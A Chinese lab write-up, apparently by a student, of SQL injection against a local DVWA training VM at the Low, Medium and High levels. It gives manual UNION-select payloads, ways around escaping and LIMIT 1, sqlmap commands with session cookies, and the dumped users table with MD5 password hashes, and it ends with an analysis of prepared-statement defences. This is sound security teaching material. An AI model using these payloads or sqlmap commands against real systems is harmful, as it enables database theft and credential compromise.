【安全攻防综合实验8】DVWA-SQL注入

Posted by 慕念 on November 3, 2021

【实验目的】

  • 有一个已安装安装lampp套件以及DVWA1.10的虚拟机镜像。
  • 访问该虚拟机上的DVWA的SQL Injection实验页面,对具有SQL注入漏洞的服务端进行攻击尝试,获得数据库相关内容。
  • 采用手工注入方式,试图获得dvwa数据库中的所有表的内容。
  • 得分与所设置的安全级别相关: 完成“Medium+High”安全级别,得到40分;仅完成“Medium”或“High”级别,得到35分,仅完成“Low”级别,得到20分。
  • 若得到的表的信息不完整,缺表或缺数据,将扣相应分数。实验系统比标准的DVWA增加了一个表。
  • 附加分:在完成手动注入后,附加完成基于sqlmap的注入完成High级别,得到5分的加分。

【实验步骤】

一、基础题 SQL Injection

【Low-手工注入】

①查看源码并判断注入类型

image-20211101141846997

发现是直接把输入的'id'带入数据库进行查询,并没有对参数做任何过滤操作,所以可能存在字符型sql注入。

输入1,正常回显:

image-20211101142255391

输入1' and '1'='1,无回显:

image-20211101142352005

输入1' or '1'='1,返回了很多用户信息,说明的确存在字符型sql注入:

image-20211101142857541

②用 order by 判断字段数

输入1' or 1=1 order by 2 #,正常回显:

image-20211101201342942

输入1' or 1=1 order by 3 #,有报错信息:

image-20211101143223866

说明执行的SQL查询语句中字段数为2,这点在源码中也可以看出来:

image-20211101172633463

③确定查询回显位置

1' union select 1,2#

由于代码中并没有任何过滤操作,所以这里采取了union联合查询,先判断查询后回显的字段位置。这里可以看到第一个参数对应First name,第二个参数对应Surname。

image-20211101143355612

database()查询当前的数据库

1' union select 111,database()#

image-20211101173455493

当前数据库是dvwa,即目标数据库。

⑤获取数据库中的table
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

这里使用了聚合函数`group_concat(),将相同group的内容聚合起来。information_schema 结构在mysql中用来存储数据库系统信息,比如schemata、tables、columns。

这句语句的作用是得到当前数据库dvwa中的所有表。

image-20211102213409548

可以发现,数据库dvwa中有3张表:guestbook、locations和users。

⑥获取表中的column
获取guestbook表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#

image-20211101174401216

guestbook表中共有3个字段:comment_id、comment、name。

获取locations表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='locations'#

image-20211102213514626

locations表中共有3个字段:name、latitude、longtitude。

获取users表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

image-20211101174539258

users表中共8个字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login。

⭐这里需要注意要指定查询的数据库为当前数据库,不然就会在所有数据库中查找users表中的内容,因为其他数据库中也可能存在users表,就会造成内容的错误。

如下图中所示,如果不指定数据库,则还会多出3个不属于dvwa数据库user表的字段:USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS。

image-20211101143731305

⑦获得字段中的数据
guestbook表:

如果想要一个字段中显示多个表项,可以通过group_concat()函数聚合。

1' union select group_concat(comment_id,comment),group_concat(name) from guestbook #

image-20211101180743109

locations表:

如果想要一个字段中显示多个表项,可以通过group_concat()函数聚合。

1' union select group_concat(name,latitude),group_concat(longtitude) from locations #

image-20211102213726148

users表:

因为users表中字段比较多,所以分批获取。

1' union select group_concat(user_id),group_concat(first_name,last_name) from users #

image-20211101181601544

1' union select user,password from users#

image-20211101181835396

1' union select avatar,111 from users#

image-20211101182149834

1' union select group_concat(last_login),group_concat(failed_login) from users#(这里如果不用group_concat的话,由于五个last_login和failed_login都是一样的,只会显示一个)

image-20211101182544905


【Low-sqlmap】

①获取登录DVWA的cookie

在页面中按F12进入开发者模式,在console中输入document.cookie获得cookie:

image-20211102212659650

cookie:"security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a"

②sqlmap-GET

因为页面中id的参数会随着输入发生变化,所以可以通过GET参数注入。

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch

image-20211101150917005

扫描结果:

image-20211101151150374

sqlmap 通过133次测试后,找到了四种进行注入的方法(即四种漏洞),分别是boolean-based blind, error-based, time-based blind, UNION query。另外sqlmap还给出了服务器使用的操作系统、web 引擎和MySQL 的大致版本。

③使用 --dbs查看数据库

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs

扫描结果:

image-20211101151509474

扫描出共有5个数据库,分别是dvwa、infomation_schema、mysql、performance_schema和sys。

④查看dvwa 数据库中的表

由于要求获得dvwa数据库中的所有表的内容,先查看dvwa 数据库中的表。

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa --tables

image-20211102212536362

看到有3张表:guestbook、locations、users,之后依次查看其中的内容。

⑤查看表guestbook中的列和数据

通过-D dvwa指定dvwa数据库,-T guestbook指定guestbook表,--columns查看表中所有列:

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns

image-20211101152243266

guestbook表中共有3列:comment,comment_id,name,查看其中内容:

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump

image-20211101152400433

⑥查看表locations中的列和数据

同理:sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns

image-20211102213049564

locations表中共有3列:latitude, longtitude, name,查看其中内容:

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump

image-20211102213209549

⑦查看表user中的列和数据

同理:sqlmap.py -u "http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low;PHPSESSID=ob0bq1lqdc8lmevehkdr5e0fu2" --batch -D dvwa -T users --columns

image-20211101152608702

查看上面8列中的全部内容:

sqlmap.py -u "http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low;PHPSESSID=ob0bq1lqdc8lmevehkdr5e0fu2" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump

image-20211101154850324

其中password字段为md5加密,sqlmap 通过字典爆破得到解密结果:

image-20211101155029953

数据结果和手工注入的数据相同。


【Medium-手工注入】

①查看源码并判断注入类型

image-20211101183557407

image-20211101184051125

从源码中可以看出,medium中通过$_POST接收POST方式发送的请求,POST请求通过form表单传输参数,并对参数使用了mysql_real_escape_string()对特殊符号进行转义(如\x00\n\r\'"\x1a),同时前端页面不让用户输入,设置了下拉选择表单,但是这一点可以用burp suit抓包绕过。

image-20211101191729996

将抓到的包转发到repeater模块,将id改为1' or '1' = '1,报错。(因为mysql_real_escape_string'转义。

image-20211101192033241

将id改为1 or 1 = 1有回显,说明是数字型注入。

image-20211101192241783

②用 order by 判断字段数

输入1 or 1=1 order by 2 #,正常回显:

image-20211101192554680

输入1 or 1=1 order by 3 #报错,说明执行的SQL查询语句中只有2个字段。

image-20211101192613161

③中间重复简略过程

之后的步骤其实和Low中一样,区别只是从字符型注入改为数字型。

简略地介绍一下过程:

  • 确定查询回显位置:

    1 union select 1,2#

image-20211101193028916

  • database()查询当前的数据库

    1 union select 111,database()#

image-20211101193521930

  • 获取数据库中的table

    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image-20211102214358646

④获取表中的column
  • 获取guestbook表中的字段:

1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#

image-20211101194028724

由于单引号'被转义成了\,所以该语句无法正常执行。可以通过把guestbook转成16进制的方法绕过:

guestbook=0x6775657374626F6F6B

1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6775657374626F6F6B#

image-20211101194421275

成功显示了表中字段。

  • 获取locations表中的字段:

1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6c6f636174696f6e73#

image-20211102214616710

  • 获取users表中的字段:

同理,将id改为1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#绕过转义:

image-20211101194804475

⑤获得字段中的数据
  • guestbook表:

1 union select group_concat(comment_id,comment),group_concat(name) from guestbook #

image-20211101194948677

  • locations表:

1 union select group_concat(name,latitude),group_concat(longtitude) from locations #

image-20211102214933359

  • users表:

1 union select group_concat(user_id,first_name,last_name,user),group_concat(password,avatar,last_login,failed_login) from users #

image-20211101195034342


【Medium-sqlmap】

①sqlmap-POST

因为是POST操作,所以sqlmap需要增加参数 --data="id=1&Submit=Submit"

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch

image-20211102220159049

之后的操作基本上和Low一样。

②简略过程
使用 --dbs查看数据库

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs

image-20211102220424754

查看dvwa 数据库中的表

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa --tables

image-20211102220547085

查看表guestbook中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns

image-20211102220652378

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump

image-20211102220848554

查看表locations中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns

image-20211102221057165

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump

image-20211102221124144

查看表user中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users --columns

image-20211102221153863

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump

image-20211101154850324


【High-手工注入】

①查看源码

image-20211101200035395

image-20211101200217021

High中前端用户提交的id值是首先传入到服务端存储到Session文件中,然后再调用给其他需要该id的地方使用。High相较于Medium,去掉了对特殊字符的转义,但在SQL查询语句中添加了LIMIT 1,以此来控制只输出一个结果,但是可以通过#注释绕过。所以手工注入的方法和前两种级别的差不多,接下来简略介绍流程。

②简略过程
判断注入类型

输入1' or '1'='1'#,输出了很多内容,说明是字符型注入。

image-20211101200923569

用 order by 判断字段数

1' or 1=1 order by 2 #

image-20211101201302247

1' or 1=1 order by 3 #

image-20211101201241125

确定查询回显位置

1' union select 1,2#

image-20211101201445879

database()查询当前的数据库

1' union select 111,database()#

image-20211101201539254

获取数据库中的table

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image-20211102215124372

获取表中的column
  • 获取guestbook表中的字段:

1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#

image-20211101201805417

  • 获取locations表中的字段:

1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='locations'#

image-20211102215313097

  • 获取users表中的字段:

1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

image-20211101201944637

获得字段中的数据
  • guestbook表:

1' union select group_concat(comment_id,comment),group_concat(name) from guestbook #

image-20211101202141417

  • locations表:

1' union select group_concat(name,latitude),group_concat(longtitude) from locations #

image-20211102215438222

  • users表:

1' union select group_concat(user_id,first_name,last_name,user),group_concat(password,avatar,last_login,failed_login) from users #

image-20211101202210120

二、附加项

【High-sqlmap】

①分析

High级别将提交命令和结果显示分为2个窗口,分别抓包:

点击click here to change your ID,GET提交查询命令页面:

image-20211103100823375

点击submit,执行POST,将id改为1' or '1'='1'#

image-20211103100812849

之后会再GET原页面,显示查询结果:

image-20211103101211028

这样分成两个页面的作用是防止了常规的sqlmap扫描注入测试,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

但是sqlmap针对这种情况有特殊的指令:--second-url="xxxurl",该命令用于设置二阶响应的结果显示页面的url。在sqlmap用户手册(https://sqlmap.campfire.ga/usage/techniques)中有作介绍。

image-20211103103744268

这里的结果显示页面的url地址,即原页面:http://192.168.112.140/dvwa/vulnerabilities/sqli/。

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch

image-20211103102437996

漏洞检查成功。

②简略过程

接下来的步骤和low、medium的sqlmap操作差不多:

使用 --dbs查看数据库

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs

image-20211103102736070

查看dvwa 数据库中的表

image-20211103102837093

查看表guestbook中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns

image-20211103103007130

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump

image-20211103103205389

查看表locations中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns image-20211103103043157

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump

image-20211103103312387

查看表user中的列和数据

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users --columns

image-20211103103112278

sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump

image-20211103103855074

三、一点总结

1、dvwa数据库

guestbook表中内容如下:

comment_id comment name
1 This is a test comment. test

locations表中内容如下:

name latitude longtitude
Yi Fu Building 31.2991982 121.5011749
Guanghua Building 31.2998161 121.5049133
Xianghui Auditorium 31.2975178 121.4994354

users表中内容如下:

user_id first_name last_name user password avatar last_login failed_login
1 admin admin admin 5f4dcc3b5aa765d61d8327deb882cf99 /hackable/users/admin.jpg 2021-10-31 22:45:46 0
2 Gordon Brown gordonb e99a18c428cb38d5f260853678922e03 /hackable/users/gordonb.jpg 2021-10-31 22:45:46 0
3 Hack Me 1337 8d3533d75ae2c3966d7e0d4fcc69216b /hackable/users/1337.jpg 2021-10-31 22:45:46 0
4 Pablo Picasso pablo 0d107d09f5bbe40cade3de5c71e9e9b7 /hackable/users/pablo.jpg 2021-10-31 22:45:46 0
5 Bob Smith smithy 5f4dcc3b5aa765d61d8327deb882cf99 /hackable/users/smithy.jpg 2021-10-31 22:45:46 0

2、Low、Medium、High比较

因为是从Low做起的,Low的步骤中有写比较详细的步骤。后面的Medium和High总体步骤上差不多,所以过程中写的比较简略。主要区别在于:

Low:

①字符型sql注入;

②源码中并没有对输入做任何过滤;

③Low页面的url中id的参数会随着输入发生变化,sqlmap采取GET注入的方法。

Medium:

①数字型sql注入;

②Medium中通过$_POST接收POST方式发送的请求,POST请求通过form表单传输参数,区别于Low的GET注入,Medium需要用到POST注入,sqlmap需要增加参数 --data="id=1&Submit=Submit"

③由于设置了下拉菜单,用户无法直接在网页上输入,需要通过burp suite抓包修改post的内容;

④源码中对参数使用了mysql_real_escape_string()对特殊符号进行转义(如\x00\n\r\'"\x1a),所以在获取表中的column时,需要把table_name通过16进制表示。

High:

①字符型sql注入;

②源码中,在SQL查询语句中添加了LIMIT 1,以此来控制只输出一个结果,但是手工注入时可以通过#注释绕过,所以手工注入时输入的命令和Low相同;

③将提交命令和结果显示分为2个窗口,这一点对手工注入不影响,对sqlmap而言,要用到POST注入和--second-url="xxxurl"指令,设置二阶响应的结果显示页面的url。

3、impossible分析

源码:

image-20211103112517963

可以看到impossible中增加了:

①通过Check Anti-CSRF token防止CSRF攻击(跨站点请求伪造)。

②通过is_numeric()函数用于检测变量是否为数字或数字字符串。

prepare ()进行sql预编译,预编译语句的优势在于一次编译、多次运行,省去了解析优化等过程,并且能防止sql注入。

bindParam () 绑定一个参数到指定的变量名,采用了PDO技术,划清了代码与数据的界限,防御sql注入。

if( $data->rowCount() == 1 )限制了只有返回的查询结果数量为1时才能成功输出,有效预防了拖库。

这些手段都有效地防范了sql注入。